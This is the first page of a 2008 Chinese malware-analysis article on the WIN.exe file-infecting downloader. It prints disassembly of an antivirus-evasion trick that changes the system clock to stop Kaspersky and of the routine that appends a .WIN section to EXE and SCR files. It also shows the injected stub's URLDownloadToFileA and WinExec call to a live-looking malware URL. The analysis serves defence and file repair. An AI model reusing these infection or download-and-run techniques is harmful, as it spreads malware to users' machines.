安全中国首页 > 文章中心 > 黑客编程
 
安全中国网友投稿专用上传FTP空间:
Ftp服务器:download.anqn.com
Ftp端口:21
用户名:anqn
密 码:anqn.com
 

感染型下载者WIN.exe部分行为分析

更新时间:2008-6-5 0:13:43
责任编辑:果果龙
热 点:
本文涉及的问题:
1. 它是如何感染一个.EXE或.SCR文件的
2. 被感染文件被加入的代码内容及其行为
3. 基于1和2,简要说明被感染文件的修复问题 
本文没有涉及的问题: 
1. 该病毒如何修改注册表 
2. 该病毒生成哪些病毒体文件(包括是否在磁盘根目录生成病毒副本) 
3. 该病毒如何下载其他病毒 
4. 该病毒感染哪些文件夹下的文件 
以上这些内容,就待各位同仁去挖掘了。 

样本来源:剑盟样本http://bbs.janmeng.com/thread-675071-1-1.html 
加壳情况:加UPX壳,直接用脱壳机脱壳(太懒了-_-) 
脱壳后:基址13140000,入口点偏移00015570 
分析方法:脱壳后OD载入看反汇编结果 

病毒定性:(改节表)感染型下载者 
前奏(准备工作): 
创建名为wokaon的互斥对象,EnumWindows似乎是在找卡巴的窗口,找到后则先将系统年份改为1984年(7C0H),Sleep了20秒等卡巴挂掉后,再把时间改回来。这部分反汇编结果: 
*************************************************************************************************** 
13155581 68 68561513     push 13155668                                   ; ASCII "wokaon" 
13155586 6A 00           push 0 
13155588 6A 00           push 0 
1315558A E8 C508FFFF     call <CreateMutex>                            ;Delphi封装函数 
1315558F 8BD8          mov     ebx, eax 
13155591 E8 8609FFFF     call <jmp.&KERNEL32.GetLastError> 
13155596 3D B7000000     cmp     eax, 0B7 
1315559B 0F84 BA000000 je    1315565B 
131555A1 C605 A8791513 0>mov     byte ptr [131579A8], 0 
131555A8 6A 00           push 0 
131555AA 68 A4531513     push 131553A4 
131555AF E8 800AFFFF     call <jmp.&user32.EnumWindows> 
131555B4 803D A8791513 0>cmp     byte ptr [131579A8], 0 
131555BB 75 07           jnz     short 131555C4 
131555BD E8 F2EAFFFF     call 131540B4 
131555C2 EB 44           jmp     short 13155608 
131555C4 68 98791513     push 13157998 
131555C9 E8 5609FFFF     call <jmp.&KERNEL32.GetLocalTime> 
131555CE 66:8B1D 9879151>mov     bx, word ptr [13157998] 
131555D5 66:C705 9879151>mov     word ptr [13157998], 7C0 
131555DE 68 98791513     push 13157998 
131555E3 E8 DC09FFFF     call <jmp.&KERNEL32.SetLocalTime> 
131555E8 68 204E0000     push 4E20 
131555ED E8 CA64FFFF     call <jmp.&KERNEL32.Sleep> 
131555F2 E8 BDEAFFFF     call 131540B4 
131555F7 66:891D 9879151>mov     word ptr [13157998], bx 
131555FE 68 98791513     push 13157998 
13155603 E8 BC09FFFF     call <jmp.&KERNEL32.SetLocalTime> 
13155608 68 10270000     push 2710 
1315560D E8 AA64FFFF     call <jmp.&KERNEL32.Sleep> 
*************************************************************************************************** 
创建两个线程,一个用于植入病毒和感染文件,另一个应该是用于下载的。 
*************************************************************************************************** 
1315561C 68 90791513     push 13157990 
13155621 6A 00           push 0 
13155623 6A 00           push 0 
13155625 68 88481513     push offset <ThreadFun1> 
1315562A 6A 00           push 0 
1315562C 6A 00           push 0 
1315562E E8 4908FFFF     call <jmp.&KERNEL32.CreateThread> 
13155633 68 94791513     push 13157994 
13155638 6A 00           push 0 
1315563A 6A 00           push 0 
1315563C 68 14501513     push offset <ThreadFun2> 
13155641 6A 00           push 0 
13155643 6A 00           push 0 
13155645 E8 3208FFFF     call <jmp.&KERNEL32.CreateThread> 
*************************************************************************************************** 
我比较关心感染文件的内容。感染前有判断驱动器属性,不过Delphi对此封装得太多,我看call看得眼花。所以它是哪些文件夹下的文件不感染,哪些文件夹下的文件被感染,这个我没有仔细看。 
最后进入N多个call后找到对.EXE和.SCR文件进行感染的部分代码 

一、病毒对.EXE和.SCR文件的PE结构进行识别并感染的部分分析 
代码从13152D8C开始,先CreateFileA打开文件之后进行识别并感染。 
部分进行感染的代码: 
读DOS文件头,定位PE头: 
*************************************************************************************************** 
13152E00 6A 00           push 0 
13152E02 8D45 EC       lea     eax, dword ptr [ebp-14] 
13152E05 50              push eax 
13152E06 6A 40           push 40 
13152E08 8D45 A8       lea     eax, dword ptr [ebp-58] 
13152E0B 50              push eax 
13152E0C 8B45 F4       mov     eax, dword ptr [ebp-C] 
13152E0F 50              push eax 
13152E10 E8 7F31FFFF     call <jmp.&KERNEL32.ReadFile> 
13152E15 66:817D A8 4D5A cmp     word ptr [ebp-58], 5A4D       ;MZ 
13152E1B 74 11           je    short 13152E2E 
…………………… 
13152E2E 6A 00           push 0 
13152E30 6A 00           push 0 
13152E32 8B45 E4       mov     eax, dword ptr [ebp-1C]       ;算一下,ebp-1C=ebp-58+3C,在上面的ReadFile之后,这里正是e_lfanew,即到PE头的偏移 
13152E35 50              push eax 
13152E36 8B45 F4       mov     eax, dword ptr [ebp-C] 
13152E39 50              push eax 
13152E3A E8 7D31FFFF     call <jmp.&KERNEL32.SetFilePointer> 
*************************************************************************************************** 
读PE头,得到节数: 
*************************************************************************************************** 
13152E3F 6A 00           push 0 
13152E41 8D45 EC       lea     eax, dword ptr [ebp-14] 
13152E44 50              push eax 
13152E45 68 F8000000     push 0F8 
13152E4A 8D85 B0FEFFFF lea     eax, dword ptr [ebp-150] 
13152E50 50              push eax 
13152E51 8B45 F4       mov     eax, dword ptr [ebp-C] 
13152E54 50              push eax 
13152E55 E8 3A31FFFF     call <jmp.&KERNEL32.ReadFile> 
13152E5A 81BD B0FEFFFF 5>cmp     dword ptr [ebp-150], 4550    ;"PE\0\0" 
13152E64 74 11           je    short 13152E77 
………………………… 
13152E77 33FF          xor     edi, edi 
13152E79 33C0          xor     eax, eax 
13152E7B 8945 F0       mov     dword ptr [ebp-10], eax 
13152E7E 0FB79D B6FEFFFF movzx ebx, word ptr [ebp-14A]                    ; 算一下,ebp-14A=ebp-150+06,正好是IMAGE_NT_HEADERS结构中的NumberOfSections 
*************************************************************************************************** 
循环读每一个IMAGE_SECTION_HEADER结构,对比其名字是否是.WIN,以判断是否已感染,并得到其他信息: 
*************************************************************************************************** 
13152E85 4B              dec     ebx 
13152E86 85DB          test ebx, ebx 
13152E88 7C 60           jl    short 13152EEA                      ;最后一节已完,跳出 
13152E8A 43              inc     ebx 
13152E8B 6A 00           push 0 
13152E8D 8D45 EC       lea     eax, dword ptr [ebp-14] 
13152E90 50              push eax 
13152E91 6A 28           push 28 
13152E93 56              push esi 
13152E94 8B45 F4       mov     eax, dword ptr [ebp-C] 
13152E97 50              push eax 
13152E98 E8 F730FFFF     call <jmp.&KERNEL32.ReadFile> 
13152E9D 8D85 84FEFFFF lea     eax, dword ptr [ebp-17C] 
13152EA3 8BD6          mov     edx, esi 
13152EA5 E8 9A12FFFF     call 13144144 
13152EAA 8B85 84FEFFFF mov     eax, dword ptr [ebp-17C] 
13152EB0 BA 90301513     mov     edx, 13153090                            ; ASCII ".WIN" 
13152EB5 E8 7A14FFFF     call <CmpString> 
13152EBA 75 11           jnz     short 13152ECD                             ; 不是.WIN节 
13152EBC C745 F8 0200000>mov     dword ptr [ebp-8], 2                       ; 是.WIN节,已被感染过 
13152EC3 E8 900BFFFF     call 13143A58 
13152EC8 E9 87010000     jmp     13153054                                   ; 跳过感染的代码 
13152ECD 8B46 14       mov     eax, dword ptr [esi+14]                    ; 不是.WIN节,直接来到这里 
13152ED0 0346 10       add     eax, dword ptr [esi+10] 
13152ED3 3BF8          cmp     edi, eax 
13152ED5 73 02           jnb     short 13152ED9 
13152ED7 8BF8          mov     edi, eax 
13152ED9 8B46 0C       mov     eax, dword ptr [esi+C] 
13152EDC 0346 08       add     eax, dword ptr [esi+8] 
13152EDF 3B45 F0       cmp     eax, dword ptr [ebp-10] 
13152EE2 76 03           jbe     short 13152EE7 
13152EE4 8945 F0       mov     dword ptr [ebp-10], eax 
13152EE7 4B              dec     ebx 
13152EE8   ^ 75 A1           jnz     short 13152E8B 
*************************************************************************************************** 
接着向堆栈中写新的IMAGE_SECTION_HEADER,修改堆栈中之前得到的PE头和DOS头结构的相关量(如节数,入口点等),并写回原文件相应位置。 
其中: 
*************************************************************************************************** 
13152EEA BB 882D1513     mov     ebx, 13152D88 
13152EEF 81EB F82B1513 sub     ebx, 13152BF8 
*************************************************************************************************** 
13152BF8到13152D88的位置,保存有将被写入被感染文件的可执行代码。 
*************************************************************************************************** 
13152F8C 8B46 0C       mov     eax, dword ptr [esi+C] 
13152F8F 05 C5000000     add     eax, 0C5 
13152F94 81C0 042C1513 add     eax, 13152C04 
13152F9A 81E8 F82B1513 sub     eax, 13152BF8 
13152FA0 8985 D8FEFFFF mov     dword ptr [ebp-128], eax 
*************************************************************************************************** 
13152C04处的代码,将成为程序的入口点指向的代码。 

二、被感染文件中加入的内容及其行为分析 
程序被感染后,加入一个.WIN节,入口点指向其中 
最前面0C5的内容是“数据区”,其中可明显看出有意义的部分,包括以下内容(以下地址为相对.WIN节头的偏移): 
*************************************************************************************************** 
1. 预留空间保存变量(在被感染程序运行时,先运行的代码会向这部分写入数据) 
+00H   urlmon的基址 
+04H   GetProcAddress函数地址 
+08H   LoadLibraryA函数地址 
+0CH   FreeLibrary函数地址 
+10H   ExitProcess函数地址 
+14H   GetModuleHandleA函数地址 
+18H   URLDownloadToFileA函数地址 
+1CH   WinExec函数地址 
2. 用到的字符串常量: 
+20H   "LoadLibraryA",0 
+2DH   "FreeLibrary",0 
+39H   "ExitProcess",0 
+45H   "GetModuleHandleA",0 
+56H   "WinExec",0 
+5FH   "urlmon",0 
+66H   "URLDownloadToFileA",0 
+79H   "http://ttt.wokaon.cn/main.exe",0 
+97H   "c:\Program Files\Common Files\WIN.exe",0 
…………………… 
3. 保存的程序原基址和入口点,代码执行后读取这里,并跳回原入口点执行。要修复被感染文件,也要知道这两个值: 
+BDH   程序原ImageBase 
+C1H   程序原AddressOfEntryPoint 
*************************************************************************************************** 
+C5H开始,将是加入的代码(病毒主文件内存中的13152BF8到13152D88的内容) 
我直接在病毒主文件里面看了,OD里反汇编分析了下,大致如下: 
13152C04是入口。 
*************************************************************************************************** 
13152BFD 58              pop     eax                                     ; pop得到EIP,即此句代码位置 
13152BFE 83E8 05       sub     eax, 5                                  ; call代码的位置 
13152C01 C3              retn 
13152C02 8BC0          mov     eax, eax 
13152C04 55              push ebp                                     ; 入口 
13152C05 8BEC          mov     ebp, esp 
13152C07 83C4 EC       add     esp, -14 
13152C0A 53              push ebx 
13152C0B 56              push esi 
13152C0C 57              push edi 
13152C0D 8D75 FC       lea     esi, dword ptr [ebp-4]                   ; 程序初始化时,堆栈中的指向kernel32.dll内的一个地址 
*************************************************************************************************** 
接下来一段是花指令: 
*************************************************************************************************** 
13152C10 EB 01           jmp     short 13152C13 
13152C12 90              nop                                              ; 原是E8,是加花 
13152C13 90              nop 
13152C14 90              nop 
13152C15 90              nop 
13152C16 90              nop 
13152C17 90              nop 
13152C18 90              nop 
13152C19 EB 01           jmp     short 13152C1C 
13152C1B 90              nop                                              ; 原是E8,是加花 
13152C1C 90              nop 
13152C1D 90              nop 
*************************************************************************************************** 
下面才接着又是有意义的: 
*************************************************************************************************** 
13152C1E /EB 0F           jmp     short 13152C2F 
13152C20 |8138 4D5A9000 cmp     dword ptr [eax], 905A4D                    ; 找kernel32.dll的MZ头,定位其基址 
13152C26 |74 12           je    short 13152C3A                             ; 找到后跳出,这时eax为kernel32.dll的基址 
13152C28 |2D 00100000     sub     eax, 1000 
13152C2D   ^|EB F1           jmp     short 13152C20 
13152C2F \8B4424 14    mov     eax, dword ptr [esp+14] 
13152C33 25 0000FFFF     and     eax, FFFF0000 
13152C38   ^ EB E6           jmp     short 13152C20 
13152C3A 8945 FC       mov     dword ptr [ebp-4], eax                   ; 保存kernel32.dll基址 
*************************************************************************************************** 
通过程序初始化时留在堆栈中的一个指向kernel32.dll内部的地址,循环后退找kernel32.dll的DOS文件头(MZ)所在位置,从而定位kernel32.dll的基址 
*************************************************************************************************** 
13152C3D E8 B6FFFFFF     call 13152BF8                                   ; 定位代码位置 
13152C42 2D C5000000     sub     eax, 0C5                                   ; eax=.WIN节头 
13152C47 8945 F4       mov     dword ptr [ebp-C], eax                   ; 保存.WIN节头地址 
*************************************************************************************************** 
call到的子函数看前面,通过一个虚假的call来诱使EIP入栈,再pop出来,从而在内存中定位了自己的代码位置,确定了.WIN节头地址,从而在读写前面C5H大小的数据区时就有目标了。 

1 2 下一页

 
相关文章
一日一文章
 
一日一软件
一日一动画